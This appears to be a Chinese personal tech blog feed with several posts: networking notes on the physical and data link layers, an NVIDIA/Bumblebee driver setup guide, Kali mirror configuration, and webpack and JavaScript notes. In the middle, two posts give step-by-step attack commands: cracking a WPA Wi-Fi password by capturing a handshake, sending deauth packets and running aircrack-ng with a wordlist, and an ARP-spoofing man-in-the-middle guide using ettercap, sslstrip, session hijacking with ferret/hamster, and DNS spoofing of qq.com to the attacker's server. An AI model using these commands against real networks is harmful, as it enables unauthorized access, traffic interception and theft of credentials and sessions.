数据链路层

目的设计数据链路层的主要目的就是在原始的、有差错的物理线路的基础上,采取差错检测、差错控制与流量控制等方法,将有差错的物理线路改进成逻辑上无差错的数据链路,以便向它的上一层——网络层提供高质量的服务。

要点:数据链路层的链路管理、数据帧封装、差错控制、流量控制这几项功能的实现原理,BSC、SDLC、HDLC和PPP这几种典型的数据链路层协议及二交换原理。

数据链路层基础

数据链路层和它下面的网络层其实作用一样,都是用来构建进行网络通信、访问的通道,只不过物理层构建的是一条物理通道,而数据链路层构建的是真正用于数据传输的逻辑通道。

主要功能和实现原理

向网络层提供透明、可靠的数据传输服务。
数据链路管理、封装成帧、透明传输、差错控制。

  • 数据链路层提供的服务类型

    • 有确认的面向链接服务
      在提供服务时,必须先建立好双方通信链接,在提供服务时,必须要求对方确认后才进行。
      存在三个阶段:数据链路建立,数据传输,数据链路释放等阶段。
      占用一条专门的通信链路,是非常可靠的链接服务。
      例如:SLIP(串行线路协议)、PPP(点对点协议)、PPPoE(基于以太网的点对点协议)、HDLC(高级数据链路控制协议)

    • 有确认的无连接服务
      接收端接收到每一个数据帧时都向发送端确认,进行数据传输前不需要建立专门的数据链路的。(实际上是因为数据链路已近建立起来,永久存在)
      虽然不用建立专门的链接,但是可以保证数据可靠传输。
      例如:令牌环网,令牌总线网,各种无线通信系统。

    • 无确认的无连接服务
      接收端结束到数据帧不需要进行确认,也不需要建立链接。
      看似不可靠,但是是建立在可靠通信线路基础上,数据传输仍十分可靠。
      例如:以太网。

数据封装成帧和透明传输

  • 网络层传输的包(packet,又称分组),在数据链路层中传输的是“帧”(frame)。数据包到达数据链路层后加上数据链路层的协议头和协议尾就构成了一个完整的帧。

  • 由数据包封装的数据帧其大小是受对应的数据链路层协议的MTU(最大传输单元)限制的。例如以太网数据链路层封装网络层IP包的MTU值为1500字节(数据部分不超过1500)还有最小限制,例如以太网封装的IP包最小值为46字节,如果小于,则用特殊字符填充。

比特流的帧组装及透明传输原理

在发送端数据链路层中的帧到达物理层后就会以比特位为单位进行传输,而不是以帧。 接收端物理层把比特流向数据链路层传输,到达后又要将比特流封装成数据帧,这就是帧同步问题。

  • 字节计数法
    以一个特殊字符代表一个帧的起始,并以一个专门的字段标识当前帧长度。

  • 字符填充收尾界定法
    用特定的字符界定一个帧的起始与结束。为了防止与相同字符被误判成帧头和帧尾,可以在帧头填充一个转义控制字符。

  • 比特填充的收尾界定法
    在收尾插入特定的比特串(例如:01111110),为了防止误判,传输的数据如果连续出现五个“1”则在后面插入一个“0”。
    例如:0110111111011111001 变为:01111110 011011111010111110001 01111110
    很容易由硬件实现,性能优于字符填充方式。

  • 违法编码法
    只适用于采用冗余编码的特殊编码环境。
    例如:曼切斯特编码中利用“高-高”电平和“低-低”电平来界定帧的起始与终止。

差错控制

  • 差错检测
    一般通过对差错编码进行校验,常见的校验方法有奇偶校验码(Parity Check Code,PCC)、循环冗余校验(Cyclic Redundancy Check,CRC)两种。

    • 奇偶校验法:在传输的二进制最后专门设置一个奇偶校验位,来记录代码中的“1”的个数是基数还是偶数。
    • 循环冗余校验:是在数据后加上一段通过该数据生成的固定位数的校验法。
  • 差错纠正
    针对不同的传输类型采取了不同的纠错方法。
    对于面向字符的,一般采用“反馈检测”的方法来进行纠错。接收端收到后向发送端发送一个相同的帧,发送端判断是否正确,如果正确则不发消息,如果错误,则发送DEL字符,提示接收端删除对应的帧。
    但是这种传输方法效率低。所以,一般采用“自动重发请求”(ARQ法)。先发送带冗余检测码的数据,接收端对数据帧进行错误检测,如果错误,则返回请求重发的响应(不用返回全部帧)。

    • 连续重发请求方案:发送端可以连续发送一些列数据帧,不同等前一帧被确认。

    • 海明码纠错:对错误位进行取反。

流量控制

  • 基于反馈的流量控制方案
    接收端收到一个数据帧后,要向发送端发送确认帧,发送端继续发送数据。发送端启动定时器,规定时间内没有确认帧则重发。

  • 基于流速的流量控制方案
    限制发送端一次可以发送多少个数据帧,从而控制流量。

  • XON/XOFF流量控制方案
    当接收端认为不能继续接收数据时,会向发送端发送一个XOFF控制字符,当可以继续接收时,发送XON控制字符。

  • 滑动窗口机制
    当一个处于缓存中的帧收到了确认帧,则将这个帧删掉,将空间给其他帧。

面向字符的PPP同步协议

  • BSC,SDLC,HDLC都属于局域网中的数据链路层协议,而PPP(Point-to-Point Protocol,点对点协议)是一种应用非常广泛的局域网数据链路协议。
  • 在链接速率上可以远高于SLIP,最高128kbps
  • 提供了协议类型字段和帧校验序列(FCS)字段。
    • 地址:为固定的11111111(0xFF)标准广播地址。
    • 控制:只有一种帧类型,UI(无编号信息)帧,无需接收端收到进行确认,固定为00000011(0x03)。
    • 协议:除了可以封装IP(0x0021)协议,还可以封装其他多种协议包,例如IPX、AppleTalk等。
    • FCS:使用16位的循环冗余校验计算信息字段中的校验和。
8 8 8 16 可变 16~32 8
标志起始 地址 控制 协议 信息 FCS 标志结束
  • 提供了一整套方案来解决数据链路建立、维护、拆除、上层协议协商、认证等问题:

    • 链路控制协议(LCP):用于建立,测试,配置和管理数据连接。
    • 网络控制协议(NCP):协商该链路上所传输的数据包格式与类型,建立、配置不同的网络层协议。
    • 口令认证协议(PAP):为PPP提供用户认证功能,可以确保PPP链接的安全性。
    • 质询握手认证协议(CHAP):为PPP提供用户认证功能,可以确保PPP链接的安全性。
  • PPP协议也衍生出新的应用,例如ADSL(Asymmetrical Digital Subscriber Loop,非对称数据用户环境),还有与其他的协议共同派生出了符合宽带接入要求的新协议:PPPoE(PPP over Ethernet),PPPoA(PPP over ATM)。

  • 利用以太网(Ethernet)资源,在以太网上运行PPP来进行用户认证。完成了ADSL的接入要求。
  • 在ATM(异步传输模式)网络上运行PPP协议来管理用户认证的方式。不同在于它在ATM网络上运行,而PPPoE在以太网上运行。

PPP的PAP/CHAP身份认证

  • PPP身份认证
    (单向认证)用明文认证,认证包括两次握手,客户端向服务器发送一个认证请求,PAP服务器端收到后和数据库匹配,返回认证结果(Y/N,ACK/NAK)。如果不成功会多次尝试,最多4次。
  • CHAP身份认证
    采用三次握手机制:认证方要求被认证方提供认证信息->被认证方提供认证信息->认证方给出结果。
    不是明文密码,而是进过MD5之类的摘要加密产生的密钥。

数据链路层主要网络设备

计算机网卡

以太网卡:

  • 接口划分:
    • PCI(最常见的)接口
    • 微型PCI(PCMCIA)接口
    • PCI-X,PCI-E(常用于服务器)
  • 主机接口方面:
    • RJ-45类型(水晶头)(双绞线)
    • ST,SC,FC,LC四种,SC和LC使用最广(光纤)

WLAN网卡:

  • 接口:PCI,USB

网桥及其工作原理

网桥的含义

用来链接不同网段的计算机网络设备,比集线器性(Hub)能更好后来被交换机(Switch)取代。
可链接不同网段的二层网络设备,不只可以类似中继器一样将信号进行放大,而且可以隔离MAC冲突。

  • 作用:

    • 可基于物理网段的MAC地址进行学习
    • 可以隔离冲突域
  • 工作原理:

    • 起初网桥缓存中没有任何MAC地址
    • 当收到广播和数据帧被某个PC接收后,也会把相应的MAC地址记录在缓存中
    • 当源MAC和目的MAC都有时,进行判断是否通过网桥。

二层交换机

交换机,可以说是集线器和网桥的升级换代产品,因为既能有集线器的集中链接功能,又有网桥的数据交换功能。

  • 特点:

    • 具有多个交换端口
    • 数据转发效率更高
    • 更强的MAC地址自动学习能力
    • 每个端口都有独立的背板信道带宽,可以实现全双工谁传输
  • 分类:

    • 网络类型划分:标准(10Mbps),快速(100Mbps),千兆(1000Mbps),十千兆(10000Mbps)
    • 结构划分:固定端口式的和模块化式的
    • 是否支持网管功能:支持(有Console控制端口),不支持(傻瓜式)
  • 原理

    • CAM表(MAC地址与端口映射表)可以通过多种途径获得
      • 静态配置
      • 动态学习
      • 可以通过多种协议,如IGMP嗅探,GMRP协议等方式
    • CAM表不是一成不变的,由定时器控制,定时器为0时删除,每次转发恢复定时器初始值。

评论和共享

物理层

关键词:数据通信的模型,数据传输速率,数据传输类型,数据输入方式,数据传输模式,数据通信方式,信号类型,信号编码,信号调制与解调,数据抽样,信道复用,传输介质和主要物理接口规程。
两大公式:
奈奎斯特准则,香农公式。

概述

作用

  • 构建数据通路
  • 透明传输
  • 传输数据
  • 数据编码
  • 数据传输管理

特性

  • 机械特性

  • 电器特性

    • 非平衡型
    • 差分接收器的非平衡型
    • 平衡型

    这里所说的“平衡”是根据发送器或接收器是由单根线的电平值决定,还是由双根线之间的电平差决定。

    平衡:采用一线,非平衡:采用一线。

    差分信号:两个物理信号间存在电平差,又称“差模信号”。差分传输是在两根线上同时传输信号,振幅相等,方向相反。(注: 在线路板上,差分信号的两条导线必须是等长、等宽、紧密靠近。尽可能使其同幅、反向、同步传输)优点是干扰会同时作用两条线,且效果一样。

    • 非平衡型:信号发送器和信号接收器均采用非平衡方式工作。即每路信号仅使用一根导线传输。然后所有信号公用一根地线。(一般采用的信号电平比较高,为了减少干扰信号),串扰也比较严重,所以信号的传输速率也比较低。

    • 差分接收器的非平衡型:是由“非平衡型”改进而来。接口中的发送器和“非平衡型相同”,但接收器采用“差分”工作方式。并且发送器和接收器不是共用一条地线。接收信号的最终电平是由信号线和地线的差值决定。(因为使用差分接收方式,所以电平信号可以比较低,一般+4V~+6v表示二进制“0”,-4V~-6V表示二进制“1”,传输速率受距离影响较大。)

    • 平衡型:发送器采用双线平衡发送方式,接收器采用差分处理方式,不共用地线。(具有超强的传输速率,电平同“差分接收器的非平衡型”,10m内速率可达10Mbps)

数据通信基础

通信子网与资源子网

  • 资源子网是由计算机系统,终端系统,联网的外围设备,各种软件资源与信息资源组成。

  • 通信子网负责网络通信线路建立和通信处理,为网络哟凝固提供数据传输,转发,加工和转换等通信处理工作,是整个网络通信的基础结构。

数据传输的类型

  • 基带与频带

    • 基带:信源发出的,没有进过调制的原始电信号固有的频带。
    • 频带:低基带信号调制后所占用的频率带宽。
  • 基带传输与频带传输

    • 基带传输:直接传输基带信号,适合传输距离比较近,例如局域网,以太网,令牌环。
    • 频带传输:广泛用于局域网中,因为在这种网络通信中,需要发送多种信号。可以用高频率的信号调制低频率的信号,提高信道的利用率。
    • 宽带传输:(属于频带传输)采用比“音频”更宽的频带,该频带包括了大部分电磁波频谱。将信道分成多个子通道,分别传输音频、视频和数字信号。并且所有子通道都可以同时发送信号。(例如:有线电视,无线广播)

数据传输方式

  • 串行传输
    只需要一条传输信道,传输速度较慢,易于实现,低费用。
  • 并行传输
    数据以一组或者整个字符的方式在多条并行信道上同时传输。不存在字符同步问题,但是必须有并行信道。(例如:打印机的并口,磁盘ATA几口,主板上的接口)

数据传输模式

(是根据字符同步方式的不同划分,针对串行传输)

  • 同步传输:通信双方在传输过程中是同步进行的,双方必须要有相同的时钟参考,能同时开始数据的发送和接收。数据块的开始和结束部分都有一个用于数据同步的特殊字符,特定的字符或特定帧。
  • 异步传输:不需要对每个字符加单独的“起始”和“停止”比特,只需要在检测到帧同步字符时接收它们即可。(是以帧为传输单位,传输效率高)数据传输速率同步,是以字符为单位进行传输的,字符开始加“起始位”,结束加“停止位”。

数据的通信方式

  • 单工通信
  • 半双工通信
  • 全双工通信

数据传输速率与信道带宽

基本概念

  • 比特率
    单位时间内传输的二进制代码的有效位数。常用单位有bit/s(b/s或bps,每秒比特数),kbit/s(kb/s或kbps,每秒千比特数),Mbit/s(Mb/s或Mbps,每秒兆比特数)注意:这里的k和M分别表示1000和1000000,而不是2^10,2^20

  • 波特率
    一个数字信号在被调试后,数字信号对载波的调制速率,单位时间内载波参数变化的次数,单位为B。

    比特率和波特率的换算公式为:

    1
    Rb = RB*log2M(b/s)

M为符号的进制数

  • 传输带宽
    “带宽”是指信道中每秒传输的最大信息量,也就是一个信道的最大数据传输率。

数字信号不失真传输的最大传输速率限制

  • 奈奎斯特准则
    为了确保数字信号不失真传输,在理想低通信道下实际的最高码元传输速率必须在下式计算结果之内。

    1
    最高码元传输速率(MaxRB) = 2W

    W是理想低通信道的带宽,单位为赫兹(Hz)。
    MaxRB为最高码元传输速率,单位为Raud(波特)。

  • 香农公式
    在有随机热噪声的信道上传输数据时,最大数据传输速率Rmax与信道带宽B、信噪比S/N的关系如下所示:

    1
    Rmax=B*log2(1+S/N)

    Rmax 的单位为 bps
    信道带宽的单位为 Hz
    信噪比 S/N 通常用 dB(分贝)

模拟信号不失真还原的最小采用频率限制

  • 时域采样定理
    频带为F的连续信号f(t)可用一系列离散的采样值f(t1),f(t1±Δt),f(t1±2Δt),…来表示,只要这些采样点的时间间隔Δt≤1/2F,便可根据各采样值完全恢复原来的信号f(t)。

    一般实际应用中保证采样频率为信号最高频率的5~10倍。

数字基带信号编码

矩形脉冲数字信号基本波形

  • 单极性
    用正(或者负)电平来表示“1”,用0电平表示“0”。低于1/2则为“0”,高于1/2则为“1”。

  • 双极性
    分别用正负电平表示“1”和“0”。

  • 归零码
    归零是指信号电平在一个码元宽度内,(通常是在1/2个码元时)信号脉冲电平必须回归为零电平,直到该码元宽度结束。

  • 非归零码
    不对脉冲信号波进行任何编码。

数字基带信号的传输码型

  • 传输码
    信息码在进行传输之前,必须进过码型变换,变换为适用于信道传输的码型,这就是传输码。

  • 传输码的选择原则

    • 能从基带信号中提取定时信息(位同步脉冲信息),所以要求含有时钟频率分量(不能出现0电平)
    • 编码转换后不能出现过多的连续“0”码或“1”码,否则提取的时钟信号就会很不稳定,引起同步偏移。
    • 无直流分量了,低频成分少,否则影响信号在信道中的传输。
    • 信号中高频分量要尽量少,以节省传输频带并减少码间串扰。

常见的传输码型有:

  • 传号反转交替码(AMI码)
    是对单极性非归零码的变形。
    将单极性非归零码中的“1”码元交替变为+1,-1其余不变。

    1
    2
     10  1 1  10 00  10  1 1
    +10 -1+1 -10 00 +10 -1+1

    缺点:会出现连续的0

  • HDB3码
    是对AMI码的变形。(可以确保信号波形中连续零电平的码元数不超过3个)
    先把基带信号变换成AMI码,然后检查AMI码中的连续“0”的个数,将AMI码中连续4个“0”分为一组,连续“0”码元的第4个“0”转换成非0脉冲,记为+V或-V 称为“破坏脉冲”。
    转换成+V或-V码,决定于:①V码必须与前一个信码B极性相同。②相邻V码的极性必须相反。
    如果变换V后,得到的波形还不能同时满足以上两个原则,则将4个连续的“0”码第一个“0”码转换为补信码,B’码。

    1
    2
    3
    4
    5
    6
    7
    8
      1000 0 1 10 00 0 1
    1000+V-1+10 00-V-1
    1000+V-1+1B'00-V-1
    ```

    * CMI码
    双极性二电平非归零码,又称1B2B码(一位信息码用二位表示)。
    把基带中“1”码交替用正,负表示。而“0”用“01”表示。

    1 1 0 0 0 1 1 1 0
    11 00 01 01 01 11 00 11 01

    1
    2
    3
    4

    * 曼切斯特编码
    双极性二电平非归零码
    “1”用“10”表示,“0”用“01”表示

    1 1 0 0 0 1 1 1 0
    10 10 01 01 01 10 10 10 01

    1
    2
    3
    4
    5
    6
    7
      极性反转时可能会引起译码错误。

    * 差分曼切斯特编码
    解决曼切斯特编码引起译码错误。
    对于第一个码元,与曼切斯特码相同,后面的根据下面的规则跳变。
    * 如果本码为1,开始处的电平不跳变。
    * 如果本码为0,开始处的电平必须跳变。

    1 1 0 0 0 1 1 1 0
    10 10 01 01 01 10 10 10 01
    10 01 01 01 01 10 01 10 10
    ```

信号调制与解调

关键术语

  • 调制
    一种“能量大”的信号承载另一种“能量小”的信号进行传播,传输。
    在对数字信号进行载波调制时,采用的也是调幅,调频,调相这三种技术,但他们对应着另外的名字:ASK(Amplitude Shift Keying,幅度键控)、FSK(Frequency Shift Keying,频率键控)、PSK(Phase Shift Keying,相位键控)

  • 解调
    是调制的反向作用。

  • 载波信号
    载送有低频调制信号的信号波,通常是高频信号。

  • 已调信号
    解调操作生成的新信号。

信道的复用

我们可以把一条高带宽的信道划分成多条小带宽的子信道(逻辑信道),提高原来这条信道的利用率。

  • 频分复用
    按照信道频带宽度进行信道复用,把一条高带宽的信道按照一定的频带宽度划分成若干个低带宽的子频带。
    原理: 使用不同频带的载波进行调制,然后在同一个信道中的不同子信道传输。

  • 时分复用
    原理:把整个数据通信过程划分成一个个小的时间段,在这些时间段又划分成更小的时间间隙,每个间隙可以用于一个用户信号的传输。

  • 波分复用
    原理同频分复用,只不过是对于光纤的。

  • 码分复用

评论和共享

1、禁止加载开源驱动nouveau (非必须)

/etc/modprobe.d/nvidia-installer-disable-nouveau.conf文件中(不存在则新建)加入:

1
2
3
# generated by nvidia-installer
blacklist nouveau
options nouveau modeset=0

2、安装内核头文件

1
apt-get install -y linux-headers-$(uname -r)

3、安装nvidia驱动相关的包

1
apt-get install  nvidia-kernel-dkms nvidia-cuda-toolkit nvidia-driver

要选yes

4、安装双显卡切换解决方案的包

1
apt-get install  bumblebee-nvidia primus

5、添加当前用户到bumblebee用户组

1
2
adduser $USER bumblebee
"$USER" 就是你当前的用户名

6、修改bumblebee配置

  1. 修改 /etc/bumblebee/bumblebee.conf

    1
    Driver=nvidia
  2. 修改 /etc/bumblebee/xorg.conf.nvidiaSection "Device"中添加PCI ID,

    1
    BusID "PCI:01:00:0"

这个值通过 lspci 得到,找到你的独立显卡那一行,将01:00.0修改为01:00:0

1
01:00.0 3D controller: NVIDIA Corporation GK208M [GeForce GT 740M] (rev al)

7、注销当前用户

1
gnome-session-quit --no-prompt

8、启动bumblebee服务并且设置为开机自启动

1
2
service bumblebeed start
update-rc.d bumblebeed enable

9、检查X11配置

正常情况下不需要存在 xorg.conf
如果存在 /etc/X11/xorg.conf,可以先尝试重启,如果无法重启到桌面环境,则删除该文件。

10、是否安装成功的检查

  1. 首先要可以进入桌面环境
  2. lspci 的输出中,对应独立显卡的那条记录已(rev ff)结尾,表示独立显卡以关闭
  3. 运行 glxgears 查看帧数,然后 optirun glxgears 一般使用独立显卡时,帧数有较大提高。
  4. 使用独显的过程中, lsmod |grep nvidia 应该会有输出信息

总结

默认使用集显,在需要独显时,通过optirun来运行。

部分软件的安装可能提示不同,需要您自己判读。

安装过程中遇到的错误

在执行 lspci 时发现

1
2
00:02.0 VGA compatible controller: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller (rev 06)
01:00.0 3D controller: NVIDIA Corporation GK208M [GeForce GT 740M] (rev al)

集成显卡后面是(rev 06)而独立显卡是(rev al)结尾说明两个显卡同时在工作,

执行optirun glxgears发现出现一下错误

1
2
[  158.673191] [ERROR]The Bumblebee daemon has not been started yet or the socket path /var/run/bumblebee.socket was incorrect.
[ 158.673219] [ERROR]Could not connect to bumblebee daemon - is it running?

原因是bumblebee服务未启动,执行service bumblebeed start就可以了,一定要设置bumblebee开机自启动,否则下次开机会出现同样的错误。

安装有问题,进行清理

1
apt-get purge nvidia* bumblebee* prime*

如果还通过nvidia官方的驱动进行过安装,可以运行

1
./NVIDIA*.run --uninstall

一般上诉两步就可以恢复系统到没有安装nvidia的状态。

评论和共享

kali linux的更新源:

1
vi /etc/apt/sources.list
1
2
3
4
5
6
#kali官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
#阿里云源
deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

对Kali进行清洁、更新、升级和发行版升级等处理

1
apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y

汉化火狐浏览器

1
apt-get install iceweasel-l10n-zh-cn

安装中文输入法(搜狗)

1
2
3
apt-get install fcitx
dpkg -i sougoupinyinXXX.deb
apt-get -f install

http://os.51cto.com/art/201405/439494.htm
http://blog.csdn.net/q_l_s/article/details/53185601

评论和共享

1.找一个字典文件


这里用 Kali Linux 自带的rockyou字典,
使用前先解压。
1
gzip -d /usr/share/wordlist/rockyou.txt.gz


2.断开链接的WiFi


1
airmon-ng


列出所有支持监控模式的网卡。

3.监听网卡

1
airmon-ng start wlan0

此时网卡就处于监听模式,被监听的网卡变为 wlan0mon。

可使用ifconfig命令查看。

4.查看WiFi网络


1
airodump-ng wlan0mon

可以看到周围WiFi的详细信息,包括信号强度、加密类型、频道(CH)等。

要记住破解WIFI的频道号和BSSID。

5.抓取握手包


1
airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 -w ~/ wlan0mon

6 频道号(CH)

C8:3A.... 目标BSSID号

-w 抓取数据包保存位置

6.强制让设备重连WiFi


原理:给链接到WiFi的一个设备发送一个deauth(反认证)包,让那个设备断开WiFi,
随后它自然会再次链接。
1
aireplay-ng -0 2 -a C8:3A:35:60:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon

-0 发送反认证包的个数

-a 指定路由器BSSID

-c 指定强制断开的设备

成功监听到握手包后:Ctrl+C 结束抓包。

1
airmon-ng stop wlan0mon

结束监听。

7.开始破解握手包密码


1
aircrack-ng -a2 -b C8:3A:35:60:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap

-a2代表握手包

-b 指定要破解的WiFi BSSID

-w 指定字典文件

最后是抓取的包

评论和共享

嗅探,arp欺骗,会话劫持


工具:Kali Linux ettercap
第一次需要配置
1
2
3
4
5
/etc/ettercap/etter.conf
ec_uid = 0
ec_gid = 0
[linux]
if you use iptables 这行,将下面#去掉,打开转发。

1
2
3
4

/etc/NetworkManager/NetworkManager.conf
[ifupdown]
managed=true

改完后重启NetworkManager

1
service network-manager restart
1
2
cat /proc/sys/net/ipv4/ip_forward
echo 1>>/proc/sys/net/ipv4/ip_forward

ettercap

1
ettercap -T -M arp /// /// -q -i eth0

第一个 /// 是嗅探目标 –IP地址

第二个 /// 是嗅探网络 –网关地址
eth0 是网卡编号

driftnet 显示访问图片

1
driftnet -i eth0

arpspoof (同样需要开启路由转发)

1
arpspoof -i eth0 -t 被攻击者ip 攻击者ip

数据包捕获


tcpdump wireshark(图形界面)

1
tcpdump -i eth0 -w text.txt

drafnet

SSL数据嗅探


1
2
3
4
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sslstrip -p -l 10000 -w log.txt
之后开启ARP欺骗工具
用完记得取消 -A -> -D

session劫持-arp欺骗


1
2
3
4
5
6
arpspoof -i eth0 -t 192.168.14.2 192.168.14.132
tcpdump -i eth0 -w text.cap
ferret -r text.cpp
hamster
设置代理
http://hamster

session劫持-DNS欺骗


1
2
3
4
5
使用ettercap进行arp欺骗
vi /etc/ettercap/etter.dns
*.qq.com A 183.175.12.144
//修改dns到自己的服务器
dns_spoof

评论和共享

Webpack 学习笔记

webpack学习笔记

  • 基础打包命令:

    1
    webpack {entry file/入口文件} {destination for bundled file/存放bundle.js的地方}
  • 通过配置文件使用:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    module.exports = {
    devtool: 'eval-source-map', //配置生成Source Maps,选择合适的选项
    entry: __dirname + "/app/main.js", //已多次提及的唯一入口文件
    output: {
    path: __dirname + "/public", //打包后的文件存放的地方
    filename: "bundle.js" //打包后输出文件的文件名
    },
    module: { //在配置文件里添加JSON loader
    loaders: [
    {
    test: /\.json$/,
    loader: "json"
    },
    {
    test: /\.js$/,
    exclude: /node_modules/,
    loader: 'babel', //在webpack的module部分的loaders里进行配置即可
    query: {
    presets: ['es2015','react']
    }
    }
    ]
    },
    devServer: {
    contentBase: "./public", //本地服务器所加载的页面所在的目录
    colors: true, //终端中输出结果为彩色
    historyApiFallback: true, //不跳转
    inline: true //实时刷新
    }
    }

    打包命令:

    1
    webpack

    也可以将此命令封装到npm中

    注:“__dirname”是node.js中的一个全局变量,它指向当前执行脚本所在的目录。

  • 生成Source Maps(使调试更容易)

    | devtool选项 | 配置结果 |
    |————|—|
    |source-map | 在一个单独的文件中产生一个完整且功能完全的文件。这个文件具有最好的source map,但是它会减慢打包文件的构建速度;|
    |cheap-module-source-map|在一个单独的文件中生成一个不带列映射的map,不带列映射提高项目构建速度,但是也使得浏览器开发者工具只能对应到具体的行,不能对应到具体的列(符号),会对调试造成不便;|
    |eval-source-map|使用eval打包源文件模块,在同一个文件中生成干净的完整的source map。这个选项可以在不影响构建速度的前提下生成完整的sourcemap,但是对打包后输出的JS文件的执行具有性能和安全的隐患。不过在开发阶段这是一个非常好的选项,但是在生产阶段一定不要用这个选项;|
    |cheap-module-eval-source-map|这是在打包文件时最快的生成source map的方法,生成的Source Map 会和打包后的JavaScript文件同行显示,没有列映射,和eval-source-map选项具有相似的缺点;|

  • 使用webpack构建本地服务器

    安装:

    1
    npm install --save-dev webpack-dev-server
配置:

|devserver配置选项|功能描述|
|-----|-----|
|contentBase|默认webpack-dev-server会为根文件夹提供本地服务器,如果想为另外一个目录下的文件提供本地服务器,应该在这里设置其所在目录(本例设置到“public"目录)|
|port|设置默认监听端口,如果省略,默认为”8080“|
|inline|设置为true,当源文件改变时会自动刷新页面|
|colors|设置为true,使终端输出的文件为彩色的|
|historyApiFallback|在开发单页应用时非常有用,它依赖于HTML5 history API,如果设置为true,所有的跳转将指向index.html|

运行服务器:
1
webpack-dev-server
  • Loaders

    Loaders需要单独安装并且需要在webpack.config.js下的modules关键字下进行配置,Loaders的配置选项包括以下几方面:

    • test:一个匹配loaders所处理的文件的拓展名的正则表达式(必须)
    • loader:loader的名称(必须)
    • include/exclude:手动添加必须处理的文件(文件夹)或屏蔽不需要处理的文件(文件夹)(可选);
    • query:为loaders提供额外的设置选项(可选)
  • Babel

    Babel其实是一个编译JavaScript的平台,它的强大之处表现在可以通过编译帮你达到以下目的:

    • 下一代的JavaScript标准(ES6,ES7),这些标准目前并未被当前的浏览器完全的支持;
    • 使用基于JavaScript进行了拓展的语言,比如React的JSX

      Babel包的安装

      1
      2
      // npm一次性安装多个依赖模块,模块之间用空格隔开
      npm install --save-dev babel-core babel-loader babel-preset-es2015 babel-preset-react

      babel-core — 核心功能


      babel-preset-es2015 — 解析Es6


      babel-preset-react — 解析JSX

      为了测试Babel安装是否成功需要安装React和React-DOM

      1
      npm install --save react react-dom
#### Babel的配置选项
<p>
Babel其实可以完全在webpack.config.js中进行配置,但是考虑到babel具有非常多的配置选项,
在单一的webpack.config.js文件中进行配置往往使得这个文件显得太复杂,
因此一些开发者支持把babel的配置选项放在一个单独的名为 ".babelrc" 的配置文件中。
我们现在的babel的配置并不算复杂,不过之后我们会再加一些东西,因此现在我们就提取出相关部分,
分两个配置文件进行配置(webpack会自动调用.babelrc里的babel配置选项),如下:
</p>
1
2
3
4
//.babelrc
{
"presets": ["react", "es2015"]
}
  • CSS


    webpack提供两个工具处理样式表,css-loader 和 style-loader,二者处理的任务不同,
    css-loader使你能够使用类似@import 和 url(…)的方法实现 require()的功能,
    style-loader将所有的计算后的样式加入页面中,二者组合在一起使你能够把样式表嵌入webpack打包后的JS文件中。

    • 安装

      1
      npm install --save-dev style-loader css-loader
<p style="color:#ff5656">注:感叹号的作用在于使同一文件能够使用不同类型的loader</p>
  • CSS module

    把JS的模块化思想带入CSS中来,通过CSS模块,所有的类名,动画名默认都只作用于当前模块。相同的类名也不会造成不同组件之间的污染。
    CSS modules 也是一个很大的主题,有兴趣的话可以去官方文档查看更多消息

  • CSS预处理器

    这里使用postcss来示范

    1
    2
    npm install --save-dev postcss-loader autoprefixer
    //autoprefixer 自动添加前缀的插件
  • 插件(Plugins)

    Loaders和Plugins常常被弄混,但是他们其实是完全不同的东西,可以这么来说,
    loaders是在打包构建过程中用来处理源文件的(JSX,Scss,Less..),一次处理一个,
    插件并不直接操作单个文件,它直接对整个构建过程其作用。

    • BannerPlugin:(编译后的文件前添加信息)
      1
      2
      3
      plugins: [
      new webpack.BannerPlugin("Copyright Flying Unicorns inc.") //在这个数组中new一个就可以了
      ],
* HtmlWebpackPlugin (依据一个简单的模板,帮你生成最终的Html5文件)

1
npm install --save-dev html-webpack-plugin
1
2
3
4
5
6
7
8
//webpack
var HtmlWebpackPlugin = require('html-webpack-plugin');

plugins: [
new HtmlWebpackPlugin({
template: __dirname + "/app/index.tmpl.html"//new 一个这个插件的实例,并传入相关的参数
})
],
* HtmlWebpackPlugin (热更新插件)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
npm install --save-dev babel-plugin-react-transform react-transform-hmr

//webpack.config.js -> plugins
new webpack.HotModuleReplacementPlugin()//热加载插件

//.babelrc ->
{
"presets": ["react", "es2015"],
"env": {
"development": {
"plugins": [["react-transform", {
"transforms": [{
"transform": "react-transform-hmr",

"imports": ["react"],

"locals": ["module"]
}]
}]]
}
}
}
  • 产品阶段的构建

    创建一个“webpack.production.config.js”的文件,在里面加上基本的配置,它和原始的webpack.config.js很像
    1
    2
    //package.json -> scripts
    webpack --config ./webpack.production.config.js --progress
  • 优化插件

    • OccurenceOrderPlugin :为组件分配ID,通过这个插件webpack可以分析和优先考虑使用最多的模块,并为它们分配最小的ID
    • UglifyJsPlugin:压缩JS代码;
    • ExtractTextPlugin:分离CSS和JS文件

      OccurenceOrderPlugin 和 UglifyJsPlugin 是内置插件

      1
      npm install --save-dev extract-text-webpack-plugin
      1
      2
      3
      //webpack.production.config.js -> plugins
      new webpack.optimize.OccurenceOrderPlugin(),
      new webpack.optimize.UglifyJsPlugin(),

评论和共享

JavaScript 简介

JavaScript简介

JavaScript简史


Netscape公司的布兰登·艾奇(Brendan Eich),1995年开发LiveScript为了搭上被媒体超热的Java的热潮,改名为JavaScript。 微软在Internet Explorer 3 中加入JScript
1997年,以 JavaScript 1.1 为蓝本的由欧洲计算机制造商协会(ECMA,European Computer Manufacturers Association)完成ECMA-262 定义名为ECMAScript 1998年,ISO/IEC(国标标准化组织和国际电工委员会)也采用了ECMAScript 作为标准(即ISO/IEC-16262)

JavaScript实现


JavaScript包括 ECMAScript ,DOM ,BOM 核心(ECMAScript)
